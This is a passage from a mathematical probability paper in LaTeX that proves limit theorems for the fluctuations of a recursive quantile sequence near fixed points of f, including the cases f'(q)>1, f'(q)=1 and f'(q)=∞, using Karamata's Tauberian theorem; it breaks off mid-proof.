In the previous section we found the correct order of fluctuations when $f$ had a single fixed point in the interval $(0,1)$. When $f$ has more than one fixed point in the interval $(0,1)$, we cannot simply consider the quantity $W_{2n} - q$, since the limiting distribution has multiple atoms, but it turns out that we can condition on $W_{2n}$ being close enough to one of the atoms and straightforwardly apply Lemma \ref{lm:khan_extension}. Note that the set of fixed points of $f$ cannot have an accumulation point in the interval $(0,1)$. To see this, recall that $f$ is a composition of functions analytic in $(0,1)$. Therefore, $f(x) - x$ is also analytic in $(0,1)$ and we justify the claim using the fact that zeros of an analytic function not identical to $0$ cannot have any accumulation points in the domain in which the function is analytic.
The case of multiple atoms of $V$ is summarized in the following lemma:
\begin{lemma}
Consider the recursion (\ref{quantilerecursion}) and assume that $q_{-},q,q_{+}$ are fixed points of $f$ satisfying the following conditions:
\begin{itemize}
\item $q \in (0,1)$ is unstable and $f'(q) > 1$,
\item $q_{-} < q < q_{+}$,
\item $q$ is the only unstable from at least one side point of $f$ in the interval $(q_{-}, q_{+})$.
\end{itemize}
Then,
\begin{align*}
\mathcal{L} \left(\xi^n(W_{2n}-q) \ | \ W_{2n} \in [q_-, q_+] \right) \xrightarrow[]{} \mathcal{L}(V),
\end{align*}
where $\xi = f'(q)$ and $V$ is a random variable with a continuous distribution function.
\label{lm:multiple_atoms}
\end{lemma}
Note first that since $f'(q) > 1$, the definitions of $q_{-}$ and $q_{+}$ coincide with those given in (\ref{qminusdef}).
\begin{proof}[Proof of Lemma \ref{lm:multiple_atoms}]
Fix $x \in [0,1]$. Then
\begin{align}
\begin{split}
\P\left(\frac{W_{2n}-q_{-}}{q_{+}-q_{-}} \leq x \Bigg| W_{2n} \in [q_{-},q_{+}]\right) = {} & \frac{\P(q_{-} \leq W_{2n} \leq x(q_{+}-q_{-})+q_{-})}{\P(q_{-} \leq W_{2n} \leq q_{+})} \\
= {} & \frac{f(\P(W_{2n-2} \leq x (q_{+}-q_{-}) + q_{-}) - q_{-}}{q_{+}-q_{-}} \\
= {} & \frac{f\left(\P\left(\frac{W_{2n-2} - q_{-}}{q_{+}-q_{-}} \leq x\right)\right) - q_{-}}{q_{+}-q_{-}} \\
= {} & \tilde f\left(\P\left(\frac{W_{2n-2} - q_{-}}{q_{+}-q_{-}} \leq x \Bigg| W_{2n-2} \in [q_{-},q_{+}]\right)\right),
\end{split}
\label{eq:recurence_for_combination}
\end{align}
where
\begin{align*}
\tilde f (x) = \frac{f(x(q_{+}-q_{-}) + q_{-}) - q_{-}}{q_{+}-q_{-}}.
\end{align*}
Furthermore, $\tilde f(x)$ is a continuous bijective mapping from $[0,1]$ to $[0,1]$ with a single fixed point $\tilde q = \frac{q-q_{-}}{q_{+}-q_{-}}$ in $(0,1)$ and
\begin{align}
\begin{split}
\tilde f'(\tilde q) = {} & f'(q) = \xi,\\
\tilde f ^{(k)} (\tilde q) = {} & f^{(k)}(q)(q_{+}-q_{-})^{k-1}.
\end{split}
\label{eq:assumptions_multiple_atoms}
\end{align}
Consider a sequence of random variables $(\tilde W_{2n})_{n=0}^\infty$ such that
\begin{align*}
\tilde W_{2n} \stackrel{d}{=} \left(\frac{W_{2n}-q_{-}}{q_{+}-q_{-}} \ \Bigg| \ W_{2n} \in [q_{-},q_{+}]\right).
\end{align*}
We check that $\tilde W_0 \sim U(0,1)$, $\P(\tilde W_{2n} \leq x) = \tilde f(\P (\tilde W_{2n-2} \leq x)$. Combining this with (\ref{eq:assumptions_multiple_atoms}), we may apply Lemma \ref{lm:khan_extension} to $(\tilde W_{2n})_{n=0}^\infty$ to conclude that
\begin{align*}
\mathcal{L} \left( \xi^n (W_{2n}-q) \ | \ W_{2n} \in [q_{-},q_{+}] \right) \xrightarrow[]{} \mathcal{L} ((q_{+}-q_{-})V),
\end{align*}
where $W$ is a random variable with a continuous distribution function $\tilde g$ that satisfies $\tilde g(x) = \tilde f(\tilde g(x))$. Finally, we note that the distribution function of $(q_{+}-q_{-})V$ is also continuous, which ends the proof.
\end{proof}
\subsubsection*{Boundary fixed points}
To finish the proof of part (\ref{thm:main_greater_t_1}) of Theorem \ref{prof:prop_main} we need to consider the case when one of $q_-, q_+$ is equal to $q$. This may happen either if $q$ is at the boundary (i.e. $q \in \{0,1\}$) or when $q \in (0,1)$, but $q$ is stable from one side. These cases can be treated simultaneously by repeating the reasoning from the proofs of Lemma \ref{lm:khan_extension} and Lemma \ref{lm:multiple_atoms}. Note that the limiting distribution $V$ is now concentrated on either the positive or negative half-line.
\subsection{Proof of Theorem
\ref{prof:prop_main}(\ref{thm:main_eq_1}): \texorpdfstring{$f'(q) = 1$}{f'(q) = 1}}
We have already described the fluctuations of $W_{2n}$ when we know that it converges to some fixed point $q$ of $f$ with $f'(q) \in (1, \infty)$. If the point was unstable from both sides, we obtained a two-sided continuous limiting distribution.
If $q$ is a fixed point of $f$ such that $f'(q)=1$, it may be unstable, stable or unstable from one side and stable from the other. In this case it is more convenient to consider each side of $q$ separately. For simplicity, we state and prove a lemma for the case where $q$ is unstable from the right and then comment on the general case.
Note that the set of fixed points doesn't have an accumulation point in $(0,1)$, but it is not known whether this behaviour may be exhibited at the boundary, hence the additional assumption in the lemma.
\begin{lemma}
Consider the recursion (\ref{quantilerecursion}) and assume that $q$ is a fixed point of $f$, that it is unstable from the right and let $q_+ = \inf\{x: x>q, x=f(x)$. Suppose that $f'(q) = 1$ and $k$ is such that $f^{(r)}(q)=0$ for $1<r<k$ and $f^{(k)}(q)\ne 0$. If $q_+ \neq q$, then
\begin{align*}
\mathcal{L} \left(n^{\frac{1}{k-1}}(W_{2n}-q) \ | \ W_{2n} \in [q, q_+] \right)\stackrel{}{\to} \delta_a,
\end{align*}
where $a = \left( \frac{k(k-2)!}{f^{(k)}(q)} \right)^{\frac{1}{k-1}}$.
\label{lm:f_1_onesided}
\end{lemma}
Figure \ref{figure:critical}(a) gives
an example where
Lemma \ref{lm:f_1_onesided} applies.
\begin{proof}[Proof of Lemma \ref{lm:f_1_onesided}]
We are going to show that the distribution function of $n^{\frac{1}{k-1}}\frac{W_{2n}-q}{q_+-q}$ conditioned on the event $W_{2n} \in [q,q_+]$ converges to some limit as $n$ tends to infinity. Define
\begin{align}
g_n(x) := \P\left(n^{\frac{1}{k-1}}\frac{W_{2n}-q}{q_+-q} \leq x\ \bigg| \ W_{2n} \in [q,q_{+}]\right).
\label{eq:gn_f_1}
\end{align}
By calculations similar to those (\ref{eq:recurence_for_combination}) in the proof of Lemma \ref{lm:multiple_atoms}, we obtain that for $x \in [0, 1]$,
\begin{align*}
\P\left(\frac{W_{2n}-q}{q_+-q} \leq x \ \bigg| \ W_{2n} \in [q,q_{+}]\right) = \tilde f\left(\P\left(\frac{W_{2n}-q}{q_+-q} \leq x \ \bigg| \ W_{2n-2} \in [q,q_{+}]\right)\right),
\end{align*}
where
\begin{align*}
\tilde f (x) = \frac{f(x(q_+-q)+q) - q}{q_{+}-q}.
\end{align*}
Note that
\begin{align*}
\tilde f(0) = {} & 0,\\
\tilde f(1) = {} & 1, \\
\tilde f'(0) = {} & f'(q) = 1, \\
\tilde f^{(i)}(0) = {} & (q_+-q)^{i-1} f^{(i)}(q),
\end{align*}
and $\tilde f$ has no fixed points in $(0,1)$. Since for every $x > 0$, for sufficiently large $n$, $\frac{x}{n^{\frac{1}{k-1}}} \in [0,1]$, for such $n$ we have
\begin{align}
\begin{split}
g_n(x) = {} & \P\left(\frac{W_{2n}-q}{q_+-q} \leq xn^{-\frac{1}{k-1}} \ \bigg| \ W_{2n} \in [q,q_{+}] \right) \\
= {} & \tilde f^n \left( \P\left(\frac{W_{0}-q}{q_+-q} \leq xn^{-\frac{1}{k-1}} \ \bigg| \ W_0 \in [q, q_+] \right)\right) \\
= {} & \tilde f^n \left(xn^{-\frac{1}{k-1}} \right).
\end{split}
\label{eq:gn_tilde_fn}
\end{align}
The proof consists of two parts:
\begin{enumerate}[I]
\item We show that for each $x<a$, for sufficiently large $n$, $(g_n(x))$ forms a decreasing sequence, and for each $x>a$, for sufficiently large $n$, $(g_n(x))$ forms an increasing one,
\item we show that for $x < a$, $g_n(x) \rightarrow 0$, and for $x > a$, $g_n(x) \rightarrow 1$.
\end{enumerate}
\paragraph{Part I}
Fix $x \neq 0$. Using Taylor's expansion, we may expand $\tilde f(x)$ as follows:
\begin{align*}
\tilde f(x) = \tilde f(0) + x + \frac{\tilde f^{(k)}(0)}{k!}x^k + r_k(x)x^k,
\end{align*}
where $\lim_{x \to 0} r_k(x) = 0$. Therefore,
\begin{align}
\tilde f \left(\frac{x}{n^{\frac{1}{k-1}}} \right) < {} & \frac{x}{(n-1)^{\frac{1}{k-1}}}
\label{eq:f_eq_1_monotonicity}
\end{align}
is equivalent to
\begin{align*}
\frac{x}{n^{\frac{1}{k-1}}} + \frac{\tilde f^{(k)}(0)}{k!} \left(\frac{x}{n^{\frac{1}{k-1}}}\right)^k + r_k\left(\frac{x}{n^{\frac{1}{k-1}}}\right)\left(\frac{x}{n^{\frac{1}{k-1}}}\right)^k < {} & \frac{x}{(n-1)^{\frac{1}{k-1}}},
\end{align*}
and to
\begin{align*}
\frac{\tilde f^{(k)}(0)}{k!}x^{k-1} + r_k\left(\frac{x}{n^{\frac{1}{k-1}}}\right) x^{k-1} < {} & n \left(\left(\frac{n}{n-1}\right)^{\frac{1}{k-1}}-1\right).
\end{align*}
Letting $n \to \infty$, the right-hand side of the last formula converges to $\frac{1}{k-1}$, whereas the left-hand one converges to $\frac{\tilde f^{(k)}(0)}{k!}x^{k-1}$. Therefore, the last inequality is satisfied for large $n$ if
\begin{align*}
x < \left( \frac{k(k-2)!}{f^{(k)}(q)} \right)^{\frac{1}{k-1}} \frac{1}{q_+-q},
\end{align*}
and similarly
\begin{align}
\tilde f \left(\frac{x}{n^{\frac{1}{k-1}}} \right) > \frac{x}{(n-1)^{\frac{1}{k-1}}}
\label{eq:f_eq_1_monotonicity2}
\end{align}
for large $n$ if
\begin{align*}
x > \left( \frac{k(k-2)!}{f^{(k)}(q)} \right)^{\frac{1}{k-1}} \frac{1}{q_+-q}.
\end{align*}
This yields the claim, as $\tilde f^{n-1}$ is a strictly increasing function, hence recalling (\ref{eq:gn_tilde_fn}), the inequality (\ref{eq:f_eq_1_monotonicity}) is equivalent to
\begin{align*}
g_n(x) = \tilde f^n \left(\frac{x}{n^{\frac{1}{k-1}}} \right) < {} & \tilde f^{n-1} \left (\frac{x}{(n-1)^{\frac{1}{k-1}}} \right) = g_{n-1}(x),
\end{align*}
and the inequality (\ref{eq:f_eq_1_monotonicity2}) is equivalent to
\begin{align*}
g_n(x) = \tilde f^n \left( \frac{x}{n^{\frac{1}{k-1}}} \right) > {} & \tilde f^{n-1} \left ( \frac{x}{(n-1)^{\frac{1}{k-1}}} \right) = g_{n-1}(x).
\end{align*}
This ends the proof of the claim.
\paragraph{Part II}
Since each $g_n$ is a distribution function, and by Part I above for each $x$, $(g_n(x))$ is a monotone sequence for large $n$ (decreasing for $x < a$ and increasing for $x > a$), hence the limit $g(x) = \lim_{n \rightarrow \infty} g_n(x)$ exists for all $x$.
To show that for $x < a$, $g(x) = 0$, assume that for some $0 < x < a$, $g(x) = \varepsilon > 0$. This implies that
\begin{align}
\tilde f^n \left(\frac{x}{n^{\frac{1}{k-1}}}\right) \geq \varepsilon > 0
\label{eq:gn_not_0}
\end{align}
for large $n$. Take $y \in {\mathbb R},l\in \mathbb{N}$ such that $y = x \left( \frac{l}{l-1} \right)^{\frac{1}{k-1}} < a$. Note also that $g(y) \leq 1$, but since $(g_n(y))$ is a strictly decreasing sequence, the inequality is in fact sharp, thus
\begin{align}
\lim_{n \to \infty} g_n(y) < 1.
\label{eq:lim_gn_sharp}
\end{align}
On the other hand,
\begin{align}
\begin{split}
\lim_{n \to \infty} g_n(y) = {} & \lim_{n \to \infty} g_{nl}(y) = \lim_{n \to \infty} \tilde f^{nl}\left(\frac{y}{(nl)^{\frac{1}{k-1}}}\right) \\
= {} & \lim_{n \to \infty} \tilde f^n \circ \tilde f^{n(l-1)} \left(\frac{y\left(\frac{l-1}{l}\right)^{\frac{1}{k-1}}}{(n(l-1))^{\frac{1}{k-1}}}\right) \\
= {} & \lim_{n \to \infty} \tilde f^n \circ \tilde f^{n(l-1)}\left( \frac{x}{(n(l-1))^{\frac{1}{k-1}}} \right),
\end{split}
\label{eq:lim_gn_manipulations}
\end{align}
and by (\ref{eq:gn_not_0}),
\begin{align*}
\lim_{n \to \infty} \tilde f^n \circ \tilde f^{n(l-1)}\left(\frac{x}{(n(l-1))^{\frac{1}{k-1}}} \right) \geq \lim_{n \to \infty} \tilde f^n(\varepsilon) = 1,
\end{align*}
as $1$ is the only stable fixed point of $\tilde f$ in the interval $[0, 1]$. But this contradicts (\ref{eq:lim_gn_sharp}) and thus $g(x) = 0$.
Similarly, to show that for $x > a$, $g(x) = 1$, fix any such $x$ and take $y \in {\mathbb R},l\in \mathbb{N}$ such that $y = \left( \frac{l-1}{l} \right)^{\frac{1}{k-1}} x > a$. By calculations similar to (\ref{eq:lim_gn_manipulations}),
\begin{align*}
\begin{split}
\lim_{n \to \infty} g_n(x) = {} & \lim_{n \to \infty} g_{nl}(x) = \lim_{n \to \infty} \tilde f^{nl}\left(\frac{x}{(nl)^{\frac{1}{k-1}}}\right) \\
= {} & \lim_{n \to \infty} \tilde f^n \circ \tilde f^{n(l-1)} \left(\frac{y}{(n(l-1))^{\frac{1}{k-1}}}\right) \\
= {} & \lim_{n \to \infty} \tilde f^n \circ g_{n(l-1)}(y),
\end{split}
\end{align*}
but since $(g_n(y))$ is a strictly increasing sequence for large $n$, for these $n$, $g_n(y) \geq \delta$ for some $\delta > 0$, hence
\begin{align*}
\lim_{n \to \infty} \tilde f^n \circ g_{n(l-1)}(y) \geq \lim_{n \to \infty} \tilde f^n(\delta) = 1,
\end{align*}
as again, $1$ is the only stable fixed point of $\tilde f$ in $[0,1]$.
Recall now the definition of $g_n(x)$ (\ref{eq:gn_f_1}). Parts I and II prove that
\begin{align*}
\mathcal{L} \left( n^{\frac{1}{k-1}}\frac{W_{2n}-q}{q_+-q} \ \bigg| \ W_{2n} \in [q, q_+] \right)\stackrel{}{\to} \delta_a,
\end{align*}
and thus
\begin{align*}
\mathcal{L} \left( n^{\frac{1}{k-1}}(W_{2n}-q) \ \bigg| \ W_{2n} \in [q, q_+] \right)\stackrel{}{\to} \delta_{ a(q_+-q)},
\end{align*}
where
\begin{align*}
a(q_+-q) = \left( \frac{k(k-2)!}{f^{(k)}(q)} \right)^{\frac{1}{k-1}}.
\end{align*}
This completes the proof of Lemma \ref{lm:f_1_onesided}.
\end{proof}
To finish the proof of part (\ref{thm:main_eq_1}) of Theorem \ref{prof:prop_main} we apply Lemma \ref{lm:f_1_onesided} and its counterpart for points unstable from the left to $[q,q_+]$ and $[q_-,q]$ respectively. Checking that for each $n$
\begin{align*}
P(W_{2n} \in [q, q_+] \ | \ W_{2n} \in [q_-,q_+]) = {} & \frac{q_+-q}{q_+-q_-},\\
P(W_{2n} \in [q_-, q] \ | \ W_{2n} \in [q_-,q_+]) = {} & \frac{q-q_-}{q_+-q_-},
\end{align*}
shows that the masses in the formulation of the theorem are chosen appropriately, hence ends the proof.
\subsection{Proof of Theorem
\ref{prof:prop_main}(\ref{thm:main_eq_inf}): \texorpdfstring{$f'(q) = \infty$}{f'(q) = infinity}}
Note first that $f'(q)= \infty$ can happen only at
$q \in \{0, 1\}$.
We start by describing behaviour of $f$ near $0$. The first step is supplied by the following technical lemma:
\begin{lemma} There exist functions $H(x)$ and $b(x)$ defined on $(-1,1)$ such that $f(x) \sim H(x)$ as $x \to 0$ and
\begin{align*}
H'(x) \sim \left(\sum_{n=1}^\infty n p_n b(x)^{n-1}\right) K p_K x^{K-1},
\end{align*}
where $1 - b(x) \sim p_K x^K$ as $x \to 0$.
\label{lm:tractable_H}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lm:tractable_H}]
By simple calculations,
\begin{align}
\begin{split}
f(x) = {} & R(R(x))= \frac{R(R(x))}{1-R(x)}(1-R(x)) = \frac{1-\sum_{n=1}^\infty p_n R(x)^n}{1-R(x)} \sum_{n=1}^\infty p_n x^n \\
= {} & \frac{\sum_{n=1}^\infty p_n (1-R(x)^n)}{1-R(x)} \sum_{n=1}^\infty p_n x^{n} = \sum_{n=1}^\infty \left( p_n \sum_{i=0}^{n-1}R(x)^i \right) \sum_{n=1}^\infty p_nx^{n} \\
= {} & \sum_{i=0}^\infty \left (R(x)^i \sum_{n=i+1}^\infty p_n\right) \sum_{n=1}^\infty p_nx^{n} = \sum_{i=0}^\infty \left[ R(x)^i \P (M > i) \right] \sum_{n=1}^\infty p_nx^{n},
\end{split}
\label{eq:RRx_div_x}
\end{align}
where $M$ is a random variable with law $\P(M=i) = p_i$. Furthermore, recalling that $K= \min\{i : p_i \neq 0\}$,
\begin{align}
\begin{split}
\frac{R(x)}{1-x} = {} & \frac{\sum_{n=1}^\infty p_n(1-x^n)}{1-x} = \sum_{n=1}^\infty p_n \sum_{i=0}^{n-1} x^{i} = \sum_{i=0}^\infty x^i \sum_{n=i+1}^\infty p_n \\
= {} & \sum_{i=0}^\infty x^i \P(M > i) = 1 + x+\ldots+x^{K-1}+x^K\sum_{i=K}^\infty x^{i-K} \P(M > i).
\end{split}
\label{eq:Rx_div_1-x}
\end{align}
Therefore, substituting (\ref{eq:Rx_div_1-x}) into (\ref{eq:RRx_div_x}),
\begin{align}
f(x) = \sum_{i=0}^\infty \left[(1-x)(1+x+\ldots+x^{K-1}+x^Kh(x))\right]^i \P (M > i) \sum_{n=1}^\infty p_nx^{n},
\label{eq:RRx_div_x_2}
\end{align}
where
\begin{align}
h(x)=\sum_{i=K}^\infty x^{i-K} \P(M > i) \to \P(M > K) = 1 - p_K \quad \textrm{ as } x \to 0.
\label{eq:limit_h}
\end{align}
Observe that $h'(x) \to \P(M > K+1)$ as $x \to 0$. Now for any $b < 1$,
\begin{align*}
\sum_{i=0}^\infty b^i \P(M > i) = \sum_{n=1}^\infty p_n \sum_{i=0}^{n-1} b^i = \frac{1}{1-b}\left(1 - \sum_{n=1}^\infty p_n b^n \right),
\end{align*}
and thus, setting
\begin{align*}
b(x) = (1-x)(1+x+\ldots+x^{K-1}+x^K h(x)) = 1 - x^K + x^K h(x) - x^{K+1} h(x),
\end{align*}
from (\ref{eq:RRx_div_x_2}) we obtain
\begin{align}
f(x) = \frac{1}{1-b(x)}\left(1 - \sum_{n=1}^\infty p_n b(x)^n \right)\sum_{n=1}^\infty p_nx^{n}.
\label{eq:RRx_div_x_3}
\end{align}
Observe that
\begin{align*}
1-b(x) = x^K(1-h(x)) + x^{K+1} h(x),
\end{align*}
hence by (\ref{eq:limit_h}),
\begin{align*}
1 - b(x) \sim p_K x^K \quad \textrm{ as } x \to 0.
\end{align*}
Moreover, from (\ref{eq:RRx_div_x_3}),
\begin{align*}
f(x) = {} & \frac{1}{x^K(1-h(x)) + x^{K+1}h(x)}\left(1 - \sum_{n=1}^\infty p_n b(x)^n \right)\sum_{n=1}^\infty p_nx^{n} = \\
= {} & \frac{1}{1-h(x) + x h(x)}\left(1 - \sum_{n=1}^\infty p_n b(x)^n \right)\sum_{n=K}^\infty p_nx^{n-K}.
\end{align*}
Note that as $x\to0$,
the first fraction on the right-hand side
converges to $\frac{1}{p_K}$, and the final sum
converges to $p_K$.
Thus
\begin{align*}
f(x)\sim {} & \left(1 - \sum_{n=1}^\infty p_n b(x)^n \right)
\end{align*}
as $x \to 0$. Therefore, denoting $H(x) := \left(1 - \sum_{n=1}^\infty p_n b(x)^n \right)$, we have
\begin{align}
f(x) \sim {} & H(x)
\label{eq:f_leading_term}
\end{align}
and, recalling that $\lim_{x \to 0}$ and $\lim_{x \to 0} h'(x)=\P(M > K+1)$,
\begin{align*}
H'(x) = {} & \left(1 - \sum_{n=1}^\infty p_n b(x)^n\right)' \sim \left(\sum_{n=1}^\infty n p_n b(x)^{n-1}\right) K p_K x^{K-1}
\end{align*}
as $x \to 0^+$ which ends the proof of the lemma.
\end{proof}
Equipped with the relation from Lemma \ref{lm:tractable_H} we may now connect $f$ with the underlying offspring distribution via \textit{Karamata's Tauberian Theorem for Power Series} (a proof may be found e.g.\ in \cite{Bingham1987}). Recall first the theorem:
\begin{theorem}[Karamata's Tauberian Theorem]
If $a_n \geq 0$ and the power series $A(s) = \sum_{n=0}^\infty a_n s^n$ converges for $s \in [0,1)$, then for $c, \rho \geq 0$
the following are equivalent:
\begin{align*}
\sum_{k=0}^n a_k \sim c n^\rho \text{ as } n \to \infty
\end{align*}
and
\begin{align*}
A(s) \sim \frac{c\Gamma(1+\rho)}{(1-s)^\rho} \text{ as } s \uparrow 1.
\end{align*}
\label{thm:karamata}
\end{theorem}
Recall the assumption (\ref{assumption:mean}) of Theorem \ref{prof:prop_main}: for some $\rho \in (0,1)$,
\begin{align*}
\mathbb{E}(M \mathbb{I}_{M \leq n}) = \sum_{k=1}^n k p_k \sim c n^\rho .
\end{align*}
By Theorem \ref{thm:karamata} applied to $a_k=kp_k$ and (\ref{assumption:mean}) we obtain that as we let $x \to 0$ (which implies $b(x) \to 1$),
\begin{align*}
\frac{1}{K p_K x^{K-1}} H'(x) \sim {} & \sum_{n=1}^\infty n p_n b(x)^{n-1} \sim \frac{c\Gamma(1+\rho)}{(1-b(x))^\rho} \sim \frac{c\Gamma(1+\rho)}{p_K^\rho} \frac{1}{x^{K\rho} }.
\end{align*}
Therefore,
\begin{align}
H(t) = \int_0^t H'(x) \textrm{d} x \sim \int_0^t \frac{c \Gamma(1+\rho)}{p_K^\rho} \frac{1}{x^{K\rho}} K p_K x^{K-1}\textrm{d} x = \frac{c \Gamma(1+\rho) p_K^{1-\rho}}{1-\rho} t^{K-K\rho},
\label{eq:H_explicit}
\end{align}
as $t \to 0$, hence, by (\ref{eq:f_leading_term}) and (\ref{eq:H_explicit}),
\begin{align*}
f(t) \sim \frac{c \Gamma(1+\rho) p_K^{1-\rho}}{1-\rho} t^{K(1-\rho)}
\end{align*}
as $t \to 0$. This implies that for $f'(0)=\infty$ to hold it is necessary that $K < \frac{1}{1-\rho}$.
To provide the criterion for $q=1$, we are interested in the behaviour of the quantity $1 - f(t)$ when $t \to 1$. Now
\begin{align}
1-f(t) = 1 - R(R(t)) = G(R(t)) \sim p_K R(t)^K.
\label{eq:1-f}
\end{align}
By definition, $R(x) = 1 - \sum_{k=1}^\infty p_k x^k$, thus
\begin{align*}
R'(x) = - \sum_{k=1}^\infty k p_k x^{k-1},
\end{align*}
and again by Theorem \ref{thm:karamata} applied to $a_k = kp_k$ and (\ref{assumption:mean}),
\begin{align*}
R'(x) \sim - \frac{c \Gamma(1+\rho)}{(1-x)^\rho}
\end{align*}
as $x \to 1$, and thus
\begin{align}
R(t) = R(1) - \int_t^1 R'(x)\textrm{d}x = \frac{c \Gamma(1+\rho)}{1-\rho}\left( 1-t\right)^{1-\rho}.
\label{eq:R(1)}
\end{align}
Substituting (\ref{eq:R(1)}) into (\ref{eq:1-f}) we obtain that
\begin{align*}
1 - f(t) \sim p_K\left(\frac{c \Gamma(1+\rho)}{1-\rho}\right)^K \left( 1-t\right)^{K(1-\rho)}
\end{align*}
as $t \to 1$. Thus again, for $ f'(1) = \infty$ to hold it is necessary that $K(1-\rho) < 1$.
We've shown that $f(t) \sim C_0 t^{K(1-\rho)}$ as $t \to 0$ and $1-f(t) \sim C_1 (1-t)^{K(1-\rho)}$ as $t \to 1$ for some positive constants $C_0, C_1$ that we determined explicitly. Note that
\begin{align*}
C_1 = C_0^k p_K^{1-K(1-\rho)}
\end{align*}
and since $K(1-\rho) < 1$, at least one of the constants $C_0, C_1$ is different from $1$. The proof of Proposition
\ref{prof:prop_main}(\ref{thm:main_eq_inf}) is completed by the following two lemmas applied as follows: Lemma \ref{prop:nonlinearl_scaling} applied with $\alpha = K(1-\rho)$ proves existence of the distributional limit at either point $q$ with $C_q \neq 1$, and Lemma \ref{prop:limit_iff} shows that the limit exists at $q=0$ if and only if it exists at $q=1$.
\begin{lemma}
Consider the recursion (\ref{quantilerecursion});
\begin{enumerate}
\item Assume that $f(t) \sim C t^{\alpha}$ with $C \neq 1$ and $\alpha \in (0,1)$ as $t \to 0$. Let $q_+ = \inf\{x: x>0, \ x=f(x)\}$. Then
\begin{align}
\mathcal{L} \left( \alpha^n \log W_{2n} \ | \ W_{2n} \in [0, q_+] \right) \xrightarrow[]{d} V_0,
\label{eq:claim_nonlinear_sc1}
\end{align}
where $V_0$ is a random variable with $\P(V_0 \in (- \infty, 0))=1$.
\item Assume that $1-f(t) \sim C (1-t)^{\alpha}$ with $C \neq 1$ and $\alpha \in (0,1)$ as $t \to 1$. Let $q_-=\sup\{x: x<1, \ x=f(x)\}$. Then
\begin{align}
\mathcal{L} \left( \alpha^n \log (1-W_{2n}) \ | \ W_{2n} \in [q_-, 1] \right) \xrightarrow[]{d} V_1,
\label{eq:claim_nonlinear_sc2}
\end{align}
where $V_1$ is a random variable with $\P(V_1 \in (- \infty, 0))=1$.
\end{enumerate}
\label{prop:nonlinearl_scaling}
\end{lemma}
\begin{lemma}
Consider the recursion (\ref{eq:rde}). For $\alpha \in (0,1)$ convergence (\ref{eq:claim_nonlinear_sc1}) holds for some $V_0$ with $\P(V_0 \in (- \infty, 0))=1$ if and only if convergence (\ref{eq:claim_nonlinear_sc2}) holds for some $V_1$ with $\P(V_1 \in (- \infty, 0))=1$.
\label{prop:limit_iff}
\end{lemma}
Note that in Lemma \ref{prop:limit_iff} we do not assume anything
about $f$; in particular we do not assume that $C \neq 1$.
\begin{proof}[Proof of Lemma \ref{prop:nonlinearl_scaling}]
Firstly we show how the second part can be obtained from the first one and then we prove the first part of Lemma \ref{prop:nonlinearl_scaling}, which corresponds to $q=0$.
Assume that $1-f(t) \sim C(1-t)^\alpha$ and set $\tilde W_{2n} = 1 - W_{2n}$ and $\tilde f(t) = 1 - f (1 - t)$. Then,
\begin{align*}
\P(\tilde W_{2n} \leq x) = {} & \P(1 - W_{2n} \leq x ) = 1 - \P(W_{2n} \leq 1 -x) = 1 - f(\P(W_{2n-2} \leq 1 -x)) \\
= {} & 1 - f(1 - \P(\tilde W_{2n-2} \leq x)) = \tilde f (\P(\tilde W_{2n-2} \leq x)) = \ldots = f^n (\P(\tilde W_0 \leq x)) \\
= {} & \tilde f^n(x)
\end{align*}
and $\tilde f (t) = 1 - f(1-t) \sim C t^\alpha$ as $t \to 0$.
Hence it is enough to prove the result for the case $q=0$.
Fix some $x < 0$. Note that for $n$ large enough $\exp \left(\frac{x}{\alpha^n}\right) \leq q_+$, hence for these $n$,
\begin{align}
\begin{split}
\P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = {} & \P \left(W_{2n} \leq \exp\left( \frac{x}{\alpha^n}\right) \ \Big| \ W_{2n} \in [0, q_+]\right) = \\
= {} & \frac{1}{q_+} f^{n} \left( \exp \left(\frac{x}{\alpha^n}\right)\right).
\end{split}
\label{eq:exponential_f}
\end{align}
Define
\begin{align*}
g (y)= \log ( f ( \exp(y))),
\end{align*}
and observe that
\begin{align}
g^n (y)= \log ( f^n ( \exp(y))).
\label{eq:def_g}
\end{align}
The idea behind $g(y)$ is to linearize $f(y)$: note that $g$ is a monotone function, $g(\log q_+) = \log q_+$ and that
\begin{align*}
g(y) = \alpha y + O(1)
\end{align*}
as $y \to -\infty$, hence there exist constants $\tilde D, \tilde E$ such that for $y \leq \log q_+ < 0$,
\begin{align}
\tilde D + \alpha y \leq g(y) \leq \tilde E + \alpha y.
\label{eq:bound_g}
\end{align}
\begin{center}
\begin{figure}[h]
\begin{tikzpicture}
\draw[->] (-3,0) node (xaxis) {} -- (2,0) node (xaxis2) [below right] {$x$};
\draw[->] (0,-2.5) node (yaxis) {} -- (0,2) node (yaxis2) [above right] {$y$};
\draw (-3,-2.1) coordinate (a_1) -- (1.8,0.3) coordinate (a_2) node [above right] {$h_1(x)$};
\draw (-3,-1.1) coordinate (b_1) -- (1.8,1.3) coordinate (b_2) node [above right] {$h_2(x)$};
\draw[thin, dashed] (-2,-2) coordinate (c_1) -- (1.5,1.5) coordinate (c_2);
\coordinate (c1) at (intersection of a_1--a_2 and c_1--c_2);
\coordinate (c2) at (intersection of b_1--b_2 and c_1--c_2);
\coordinate (logq) at (-0.5,-0.5);
\draw[dashed] (yaxis |- logq) node[right] {$\log q_+$}
-| (xaxis -| logq) node[below] {};
\draw[dashed] (yaxis |- c1) node[right] {$\frac{\tilde D}{1-\alpha}$}
-| (xaxis -| c1) node[below] {};
\draw[dashed] (yaxis |- c2) node[left] {$\frac{\tilde E}{1-\alpha}$}
-| (xaxis -| c2) node[below] {};
\fill[black] (logq) circle (2pt);
\fill[black] (c1) circle (2pt);
\fill[black] (c2) circle (2pt);
\draw plot[smooth] coordinates {(-3,-1.5) (-2.5,-1.2) (-1.5, -0.8) (-0.5,-0.5)};
\draw (-3,-1.5) node[left] {$g(x)$};
\end{tikzpicture}
\caption{
\label{fig:linearization}
$h_1(x), g(x), h_2(x)$ together with their (stable) fixed points $\frac{\tilde D}{1-\alpha}, \log q_+, \frac{\tilde E}{1-\alpha}$ respectively. For $x \leq \log q_+$, $h_1(x) \leq g(x) \leq h_2(x)$. The dashed line represents the identity function.}
\end{figure}
\end{center}
In the first part of the proof we show (assuming that the limit (\ref{eq:claim_nonlinear_sc1}) exists) that $\P(V \in (-\infty,0)) = 1$. Define
\begin{align*}
h_1(y) = {} & \tilde D + \alpha y, \\
h_2(y) = {} & \tilde E + \alpha y.
\end{align*}
Now
\begin{align}
\begin{split}
\lim_{n \to \infty} h_1^{n}\left(\frac{y}{\alpha^n}\right) = {} & y + \frac{\tilde D}{1-\alpha},\\
